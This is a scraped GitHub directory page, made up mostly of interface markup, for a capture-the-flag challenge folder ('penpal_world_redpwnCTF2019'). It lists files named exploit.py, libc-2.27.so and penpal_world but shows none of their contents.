<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>60</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/KaoRz/exploits_challenges/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":142911961,"originating_url":"https://github.com/KaoRz/exploits_challenges/tree/master/penpal_world_redpwnCTF2019","user_id":null}}" data-hydro-click-hmac="924bdb5bf0b0ddafe7c9f22926d4098bc506202f68cc2c6d5912dca4a2486cd7"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/KaoRz/exploits_challenges/refs" cache-key="v0:1532974538.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S2FvUnovZXhwbG9pdHNfY2hhbGxlbmdlcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/KaoRz/exploits_challenges/refs" cache-key="v0:1532974538.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S2FvUnovZXhwbG9pdHNfY2hhbGxlbmdlcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>exploits_challenges</span></span></span><span>/</span>penpal_world_redpwnCTF2019<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>exploits_challenges</span></span></span><span>/</span>penpal_world_redpwnCTF2019<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/KaoRz/exploits_challenges/tree-commit/ce2a2aced42bc667ce9e4d19c98dc0046e0773c7/penpal_world_redpwnCTF2019" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/KaoRz/exploits_challenges/file-list/master/penpal_world_redpwnCTF2019"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>libc-2.27.so</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>penpal_world</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 